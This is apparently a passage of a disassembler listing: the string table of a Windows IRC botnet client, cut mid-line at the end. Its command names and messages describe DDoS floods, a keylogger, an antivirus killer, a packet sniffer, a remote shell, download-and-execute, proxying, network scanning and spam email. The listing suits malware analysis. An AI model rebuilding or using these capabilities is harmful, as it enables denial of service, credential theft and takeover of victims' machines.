; DATA XREF: sub_409848+36ADo align 4 aNickS db 'NICK %s',0 ; DATA XREF: sub_409848+3654o ; sub_409848+4182o aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_409848+3633o align 4 aS_4 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_409848+35FFo ; sub_409848+368Co ... align 4 aPartS_0 db 'PART %s',0 ; DATA XREF: sub_409848+35C6o aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0 ; DATA XREF: sub_409848:loc_40CDFBo align 4 aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_409848+3578o align 10h aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: sub_409848:loc_40CD2Do align 10h aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_409848+34A1o ; sub_409848+3552o ... align 10h aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0 ; DATA XREF: sub_409848+3418o aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_409848+33B9o align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_409848+3312o align 4 aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_409848+328Eo align 4 aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_409848+327Bo align 4 aFindfileFailed db '[FINDFILE]: Failed to start search thread, error: <%d>.',0 ; DATA XREF: sub_409848+31C7o aFindfileSear_0 db '[FINDFILE]: Searching for file: %s in: %s.',0 ; DATA XREF: sub_409848+3163o align 4 aFile_0 db '[FILE]:',0 ; DATA XREF: sub_409848:loc_40C909o ; sub_409848:loc_40D7B2o aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409848+30A9o align 10h aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: sub_409848+3060o align 4 aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_409848+3038o align 4 aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_409848+2FC8o align 10h aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0 ; DATA XREF: sub_409848+2F3Co align 4 aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0 ; DATA XREF: sub_409848+2ED9o align 4 aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_409848+2E29o align 4 aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_409848+2DBFo align 4 aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_409848+2D2Bo align 4 aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_409848+2CC1o align 4 aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0 ; DATA XREF: sub_409848+2C19o align 10h aDownloadDown_1 db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_409848+2BBAo aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0 ; DATA XREF: sub_409848+2A9Co align 4 aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0 ; DATA XREF: sub_409848+2A41o aScanFailedTo_0 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_409848+299Fo ; sub_409848+4657o ... align 4 aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0 ; DATA XREF: sub_409848+2944o align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_409848+28BEo align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_409848+27A3o align 4 dword_429D4C dd 54434101h, 204E4F49h, 17325h ; sub_409848+389Do dword_429D58 dd 615F63h aC_action db 'c_action',0 ; DATA XREF: sub_409848+267Eo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_409848+266Ao align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_409848+2656o align 4 aSc db 'sc',0 ; DATA XREF: sub_409848+2642o align 10h aScan db 'scan',0 ; DATA XREF: sub_409848+262Eo align 4 aRd db 'rd',0 ; DATA XREF: sub_409848+261Ao align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_409848+2606o align 4 aDl db 'dl',0 ; DATA XREF: sub_409848+25F2o align 4 aDownload db 'download',0 ; DATA XREF: sub_409848+25DEo align 4 aSyn db 'syn',0 ; DATA XREF: sub_409848+25CAo ; sub_409848+584Bo ... aSynflood db 'synflood',0 ; DATA XREF: sub_409848+25B6o align 4 aC: ; DATA XREF: sub_409848+2566o ; sub_415F00+73o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_409848+2552o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_409848+252Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_409848+2518o align 4 aMv db 'mv',0 ; DATA XREF: sub_409848+2504o align 4 aRename db 'rename',0 ; DATA XREF: sub_409848+24F0o align 4 aFf db 'ff',0 ; DATA XREF: sub_409848+24DCo align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_409848+24C8o align 4 aE: ; DATA XREF: sub_409848+24B4o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_409848+24A0o aUpdate db 'update',0 ; DATA XREF: sub_409848+2478o align 4 aDe db 'de',0 ; DATA XREF: sub_409848+2464o align 4 aDelay db 'delay',0 ; DATA XREF: sub_409848+2450o align 4 aRp db 'rp',0 ; DATA XREF: sub_409848+243Co align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_409848+2428o ; sub_409848+3530o align 10h aC_p db 'c_p',0 ; DATA XREF: sub_409848+2414o aC_part db 'c_part',0 ; DATA XREF: sub_409848+2400o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_409848+23ECo aC_join db 'c_join',0 ; DATA XREF: sub_409848+23D8o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_409848+23C4o aC_nick db 'c_nick',0 ; DATA XREF: sub_409848+23B0o align 4 aC_m db 'c_m',0 ; DATA XREF: sub_409848+239Co aC_mode db 'c_mode',0 ; DATA XREF: sub_409848+2388o align 10h aC_r db 'c_r',0 ; DATA XREF: sub_409848+2374o aC_raw db 'c_raw',0 ; DATA XREF: sub_409848+2360o align 4 aM: ; DATA XREF: sub_409848+234Co unicode 0, <m>,0 aMode db 'mode',0 ; DATA XREF: sub_409848+2338o align 4 aCy db 'cy',0 ; DATA XREF: sub_409848+2324o align 4 aCycle db 'cycle',0 ; DATA XREF: sub_409848+2310o align 4 aA_1: ; DATA XREF: sub_409848+22FCo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_409848+22E8o align 10h aPm_0 db 'pm',0 ; DATA XREF: sub_409848+22D4o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_409848+22C0o aAa db 'aa',0 ; DATA XREF: sub_409848+22ACo align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_409848+2298o align 4 aAvfwFailedToSt db '[AVFW]: Failed to start AV/FW killer thread, error: <%d>.',0 ; DATA XREF: sub_409848+2220o align 4 aAvfw db '[AVFW]',0 ; DATA XREF: sub_409848+21C6o ; sub_409848+2278o align 10h aKillerThread db 'Killer Thread',0 ; DATA XREF: sub_409848+21C1o ; sub_409848+2273o align 10h aAvfwAvFwBotKil db '[AVFW]: AV/FW/BOT Killer active.',0 ; DATA XREF: sub_409848+21ABo align 4 aAvfwkiller db 'avfwkiller',0 ; DATA XREF: sub_409848+2180o align 10h aGh db 'gh',0 ; DATA XREF: sub_409848+216Co align 4 aGethost db 'gethost',0 ; DATA XREF: sub_409848+2158o aCap db 'cap',0 ; DATA XREF: sub_409848+2144o aCapture db 'capture',0 ; DATA XREF: sub_409848+2130o aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: sub_409848:loc_40B950o aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: sub_409848:loc_40B949o align 10h aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: sub_409848:loc_40B902o align 4 aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: sub_409848+20B3o aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: sub_409848:loc_40B863o align 4 aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: sub_409848+2011o align 4 aShare db 'share',0 ; DATA XREF: sub_409848+1FA5o align 4 aContinue db 'continue',0 ; DATA XREF: sub_409848+1F71o align 4 aPause db 'pause',0 ; DATA XREF: sub_409848+1F5Ao align 10h aStop db 'stop',0 ; DATA XREF: sub_409848+1F43o ; sub_409848+225Ao align 4 aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: sub_409848:loc_40B77Do aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: sub_409848+1F2Bo align 4 aStart db 'start',0 ; DATA XREF: sub_409848+1ED8o ; sub_409848+2195o align 4 aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0 ; DATA XREF: sub_409848+1E9Eo aNet db 'net',0 ; DATA XREF: sub_409848+1E7Co aKeylogFailedTo db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_409848+1E59o align 4 aKeylogKeyLog_0 db '[KEYLOG]: Key logger active.',0 ; DATA XREF: sub_409848+1DFEo align 4 aKeylogAlreadyR db '[KEYLOG]: Already running.',0 ; DATA XREF: sub_409848+1D7Do align 4 aKeylogNoKeyLog db '[KEYLOG]: No key logger thread found.',0 ; DATA XREF: sub_409848:loc_40B5A1o align 10h aKeylogKeyLogge db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_409848+1D4Fo align 4 aFile db 'file',0 ; DATA XREF: sub_409848+1D1Fo ; sub_409848+1D9Bo align 10h aKeylog db 'keylog',0 ; DATA XREF: sub_409848+1CF9o align 4 aPsniffNoCarniv db '[PSNIFF]: No Carnivore thread found.',0 ; DATA XREF: sub_409848:loc_40B536o align 10h aPsniffCarniv_0 db '[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_409848+1CE4o align 4 aOff db 'off',0 ; DATA XREF: sub_409848+1CC5o ; sub_409848+1D30o aPsniffFailedTo db '[PSNIFF]: Failed to start sniffer thread, error: <%d>.',0 ; DATA XREF: sub_409848+1CB6o align 4 aPsniffCarnivor db '[PSNIFF]: Carnivore packet sniffer active.',0 ; DATA XREF: sub_409848+1C39o align 10h aPsniffAlreadyR db '[PSNIFF]: Already running.',0 ; DATA XREF: sub_409848+1BD2o align 4 aOn db 'on',0 ; DATA XREF: sub_409848+1BB6o ; sub_409848+1D0Eo align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_409848+1BA1o align 4 aRf db 'rf',0 ; DATA XREF: sub_409848+1B8Do align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_409848+1B79o align 4 aCm db 'cm',0 ; DATA XREF: sub_409848+1B65o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_409848+1B51o aMirc db 'mirc',0 ; DATA XREF: sub_409848+1B3Do align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_409848+1B29o aV: ; DATA XREF: sub_409848+1B15o unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_409848+1B01o align 4 aLi db 'li',0 ; DATA XREF: sub_409848+1AEDo align 10h aList_0 db 'list',0 ; DATA XREF: sub_409848+1AD9o align 4 aDel db 'del',0 ; DATA XREF: sub_409848+1AC5o aDelete db 'delete',0 ; DATA XREF: sub_409848+1AB1o ; sub_409848+1F8Bo align 4 aKi db 'ki',0 ; DATA XREF: sub_409848+1A9Do align 4 aKill db 'kill',0 ; DATA XREF: sub_409848+1A89o align 10h aKdp db 'kdp',0 ; DATA XREF: sub_409848+1A75o aKilldelproc db 'killdelproc',0 ; DATA XREF: sub_409848+1A61o aKp db 'kp',0 ; DATA XREF: sub_409848+1A4Do align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_409848+1A39o align 10h aDn db 'dn',0 ; DATA XREF: sub_409848+1A25o align 4 aDns db 'dns',0 ; DATA XREF: sub_409848+1A11o aSe db 'se',0 ; DATA XREF: sub_409848+19FDo align 4 aO: ; DATA XREF: sub_409848+19D5o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_409848+19C1o ; sub_409848+40FEo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_409848+19ADo align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_409848+1999o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_409848+1985o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_409848+1971o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_409848+195Do aC_quit db 'c_quit',0 ; DATA XREF: sub_409848+1949o align 4 aK: ; DATA XREF: sub_409848+1935o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_409848+1921o align 4 aRaw db 'raw',0 ; DATA XREF: sub_409848+18F9o aPt db 'pt',0 ; DATA XREF: sub_409848+18E5o align 4 aPart_0 db 'part',0 ; DATA XREF: sub_409848+18D1o align 4 aJ: ; DATA XREF: sub_409848+18BDo unicode 0, <j>,0 aJoin db 'join',0 ; DATA XREF: sub_409848+18A9o align 10h aN: ; DATA XREF: sub_409848+1895o unicode 0, <n>,0 aNick_0 db 'nick',0 ; DATA XREF: sub_409848+1881o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_409848+1847o aFp db 'fp',0 ; DATA XREF: sub_409848+1833o align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_409848+181Fo align 4 aTftp db 'tftp',0 ; DATA XREF: sub_409848+180Bo align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_409848+17F7o align 4 aHttp db 'http',0 ; DATA XREF: sub_409848+17E3o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_409848+17CFo align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_409848+17BBo align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_409848+17A7o align 4 aCip db 'cip',0 ; DATA XREF: sub_409848+1793o aCurrentip db 'currentip',0 ; DATA XREF: sub_409848+177Fo align 4 aFdns db 'fdns',0 ; DATA XREF: sub_409848+176Bo align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_409848+1757o align 4 aFarp db 'farp',0 ; DATA XREF: sub_409848+1743o align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_409848+172Fo align 4 aGc db 'gc',0 ; DATA XREF: sub_409848+171Bo align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_409848+1707o aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_409848+16BDo align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_409848+163Co db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: sub_409848+159Co unicode 0, <_>,0 aEmail db 'email',0 ; DATA XREF: sub_409848+1531o align 10h aTcp db 'tcp',0 ; DATA XREF: sub_409848+151Do aTcpflood db 'tcpflood',0 ; DATA XREF: sub_409848+1509o align 10h aP: ; DATA XREF: sub_409848+14F5o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_409848+14E1o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_409848+14CDo align 4 aU: ; DATA XREF: sub_409848+14B9o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_409848+14A5o aUdpflood db 'udpflood',0 ; DATA XREF: sub_409848+1491o align 4 aAsc db 'asc',0 ; DATA XREF: sub_409848+147Do aAdvscan db 'advscan',0 ; DATA XREF: sub_409848+1469o aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_409848+1445o align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_409848+1411o ; sub_41379D+46o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_409848+1404o aLoginList db '-[Login List]-',0 ; DATA XREF: sub_409848+13E1o align 4 aWho db 'who',0 ; DATA XREF: sub_409848+13C8o aCmd_0 db '[CMD]',0 ; DATA XREF: sub_409848+13BAo align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_409848+13B5o align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_409848+13A0o aOcmd db 'ocmd',0 ; DATA XREF: sub_409848+138Co align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_409848+1378o aDll db 'dll',0 ; DATA XREF: sub_409848+1364o aTestdlls db 'testdlls',0 ; DATA XREF: sub_409848+1350o align 4 aDrv db 'drv',0 ; DATA XREF: sub_409848+133Co aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_409848+1328o align 4 aUp db 'up',0 ; DATA XREF: sub_409848+1314o ; sub_409848+248Co align 10h aUptime db 'uptime',0 ; DATA XREF: sub_409848+1300o align 4 aPs db 'ps',0 ; DATA XREF: sub_409848+12ECo align 4 aProcs db 'procs',0 ; DATA XREF: sub_409848+12D8o align 4 aErradicate db 'erradicate',0 ; DATA XREF: sub_409848+12C4o align 10h aDestroy db 'destroy',0 ; DATA XREF: sub_409848+12B0o aSi db 'si',0 ; DATA XREF: sub_409848+129Co align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_409848+1288o aNi db 'ni',0 ; DATA XREF: sub_409848+1274o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_409848+1260o aClg db 'clg',0 ; DATA XREF: sub_409848+124Co aClearlog db 'clearlog',0 ; DATA XREF: sub_409848+1238o align 10h aLg db 'lg',0 ; DATA XREF: sub_409848+1224o align 4 aLog_0 db 'log',0 ; DATA XREF: sub_409848+1210o aAl db 'al',0 ; DATA XREF: sub_409848+11FCo align 4 aAliases db 'aliases',0 ; DATA XREF: sub_409848+11E8o aT: ; DATA XREF: sub_409848+11D4o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_409848+11C0o aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_409848+1188o align 4 aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_409848+1181o align 10h aReboot db 'reboot',0 ; DATA XREF: sub_409848+116Eo align 4 aI_0: ; DATA XREF: sub_409848+115Ao unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_409848+1146o align 10h aS_8: ; DATA XREF: sub_409848+1132o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_409848+111Eo align 4 aQ: ; DATA XREF: sub_409848+110Ao unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_409848+10F6o align 4 aDc db 'dc',0 ; DATA XREF: sub_409848+10E2o align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_409848+10CEo align 4 aR: ; DATA XREF: sub_409848+10BAo ; sub_409848+190Do ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_409848+10A6o align 4 aStats db 'stats',0 ; DATA XREF: sub_409848+1092o align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_409848+107Eo align 4 aScan_0 db '[SCAN]',0 ; DATA XREF: sub_409848+1070o ; sub_409848+5E67o align 4 aScan_1 db 'Scan',0 ; DATA XREF: sub_409848+106Bo align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_409848+1056o align 4 aSecure_1 db '[SECURE]',0 ; DATA XREF: sub_409848+1048o align 4 aSecure_0 db 'Secure',0 ; DATA XREF: sub_409848+1043o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_409848+102Eo align 4 aClones db '[CLONES]',0 ; DATA XREF: sub_409848+1020o align 4 aClone db 'Clone',0 ; DATA XREF: sub_409848+101Bo align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_409848+1006o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_409848+FF2o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_409848+FDEo align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_409848+FCAo align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_409848+FB6o align 4 aTftp_0 db '[TFTP]',0 ; DATA XREF: sub_409848+FA8o align 4 aTftpstop db 'tftpstop',0 ; DATA XREF: sub_409848+F8Eo align 4 aPing_1 db '[PING]',0 ; DATA XREF: sub_409848+F80o align 10h aPingFlood db 'Ping flood',0 ; DATA XREF: sub_409848+F7Bo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_409848+F66o align 4 aUpd db '[UPD]',0 ; DATA XREF: sub_409848+F58o align 10h aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_409848+F53o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_409848+F3Eo aSyn_0 db '[SYN]',0 ; DATA XREF: sub_409848+F30o align 4 aSynFlood db 'Syn flood',0 ; DATA XREF: sub_409848+F2Bo align 4 aSynstop db 'synstop',0 ; DATA XREF: sub_409848+F16o aDdos db '[DDoS]',0 ; DATA XREF: sub_409848+F08o align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_409848+F03o align 4 aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_409848+EEEo align 10h aRedirect_0 db '[REDIRECT]',0 ; DATA XREF: sub_409848+EE0o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_409848+EDBo align 4 aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_409848+EC6o align 4 aLog db '[LOG]',0 ; DATA XREF: sub_409848+EB8o align 4 aLogList db 'Log list',0 ; DATA XREF: sub_409848+EB3o align 10h aLogstop db 'logstop',0 ; DATA XREF: sub_409848+E9Eo aHttpd db '[HTTPD]',0 ; DATA XREF: sub_409848+E90o aHttpstop db 'httpstop',0 ; DATA XREF: sub_409848+E76o align 4 aRlogind db '[RLOGIND]',0 ; DATA XREF: sub_409848+E68o align 4 aRloginstop db 'rloginstop',0 ; DATA XREF: sub_409848+E4Eo align 4 aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: sub_409848+E40o align 10h aServer_0 db 'Server',0 ; DATA XREF: sub_409848+E3Bo ; sub_409848+E63o ... align 4 aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_409848+E26o align 4 aS4 db 's4',0 ; DATA XREF: sub_409848+E12o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_409848+DFEo align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_409848+DEAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_409848+DD6o align 4 aSec db 'sec',0 ; DATA XREF: sub_409848+DC2o ; sub_409848+5416o aSecure db 'secure',0 ; DATA XREF: sub_409848+DAEo ; sub_409848+5406o align 10h aVer db 'ver',0 ; DATA XREF: sub_409848+D9Ao aVersion db 'version',0 ; DATA XREF: sub_409848+D86o aLo db 'lo',0 ; DATA XREF: sub_409848+D72o align 10h aLogout db 'logout',0 ; DATA XREF: sub_409848+D5Eo align 4 aD: ; DATA XREF: sub_409848+D4Ao ; sub_415F00+7Ao unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_409848+D36o aRn db 'rn',0 ; DATA XREF: sub_409848+D22o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_409848+D0Bo a63 db '63',0 ; DATA XREF: sub_409848+BEAo align 10h asc_42A850: ; DATA XREF: sub_409848+BC2o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_409848+B87o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_409848+B7Co aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_409848+B6Bo align 10h aChan db '$chan',0 ; DATA XREF: sub_409848+B4Do align 4 aUser_2 db '$user',0 ; DATA XREF: sub_409848+B3Co align 10h aMe db '$me',0 ; DATA XREF: sub_409848+B2Ao aD_0 db '$%d',0 ; DATA XREF: sub_409848+ABEo aD_1 db '$%d-',0 ; DATA XREF: sub_409848+A0Bo align 10h dword_42A890 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_409848+971o dd 0A0Dh dword_42A8A8 dd 4E495001h, 47hdword_42A8B0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_409848+934o dd 0D017325h, 0Ah dword_42A8CC dd 52455601h, 4E4F4953h, 1dword_42A8D8 dd 23h dword_42A8DC dd 6Ch dword_42A8E0 dd 323333h ; sub_409848+7ECo ... aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_409848+6F0o aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_409848+690o align 10h a353 db '353',0 ; DATA XREF: sub_409848+63Eo aPart db 'PART',0 ; DATA XREF: sub_409848+5C2o align 4 aSS_3 db ':%s%s',0 ; DATA XREF: sub_409848+593o align 4 aNick db 'NICK',0 ; DATA XREF: sub_409848+3E4o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409848+370o ; sub_409848+6CEo aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_409848+357o ; sub_409848+5554o ... aKick db 'KICK',0 ; DATA XREF: sub_409848+2D7o align 10h aNickS_0 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+26Eo ; sub_409848+4375o ... align 4 a433 db '433',0 ; DATA XREF: sub_409848+24Bo a@: ; DATA XREF: sub_409848+222o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_409848+215o a005 db '005',0 ; DATA XREF: sub_409848+202o a001 db '001',0 ; DATA XREF: sub_409848+1EFo aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+1D2o ; sub_409848+3835o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+1B0o align 4 aPing db 'PING',0 ; DATA XREF: sub_409848+19Ao align 4 asc_42A9B4: ; DATA XREF: sub_409848+188o ; sub_409848+611Bo unicode 0, <!>,0 aSecureSystemSe db '[SECURE]: System secure monitor active.',0 ; DATA XREF: sub_40FB4C+38Fo aMainBotStarted db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40FB4C+356o align 4 aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40FB4C+286o align 4 aRedirectFail_0 db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0 ; DATA XREF: sub_410142+153o aRedirectClient db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_410142+DBo align 10h aRedirectFail_1 db '[REDIRECT]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_41031F+13Fo aRedirectClie_0 db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_41031F+DDo align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41050E+35o aCmdCouldNotR_0 db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0 ; DATA XREF: sub_41059C:loc_410700o aCmdProccessHas db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_41059C+141o align 4 aCmdCouldNotRea db '[CMD]: Could not read data from proccess',0Dh,0Ah,0 ; DATA XREF: sub_41059C:loc_4106ABo align 4 aCmdFailedToSta db '[CMD]: Failed to start IO thread, error: <%d>.',0 ; DATA XREF: sub_410729+18Eo align 4 aCmdRemoteComma db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_410729+146o align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_410729+1Fo aRlogindProtoco db '[RLOGIND]: Protocol string too long.',0 ; DATA XREF: sub_4108D8:loc_41090Ao align 4 aRlogindLoginRe db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0 ; DATA XREF: sub_410923+39o align 4 aRlogindUserL_0 db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_410970+1EFo align 4 aRlogindErrorSe db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_410970+1CFo align 4 aRlogindUserLog db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_410970+1AFo aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_410970+184o align 4 aRlogindErrorGe db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_410970+F4o align 4 aRlogindError_0 db '[RLOGIND]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_410B7C+215o align 10h aRlogindFaile_1 db '[RLOGIND]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_410B7C+1C9o align 4 aRlogindClientC db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_410B7C+158o aRlogindReadyAn db '[RLOGIND]: Ready and waiting for incoming connections.',0 ; DATA XREF: sub_410B7C+FFo align 10h aRlogindFaile_0 db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0 ; DATA XREF: sub_410B7C+70o align 10h aRlogindErrorWs db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_410B7C+3Eo align 4 aSI db '%s%i',0 ; DATA XREF: sub_410DF8+40o ; .text:00410EF3o ... align 10h aPc db 'PC',0 ; DATA XREF: .text:00410EC1o align 4 aS_6 db '[%s]',0 ; DATA XREF: .text:00411029o align 4 a??? db '???',0 ; DATA XREF: 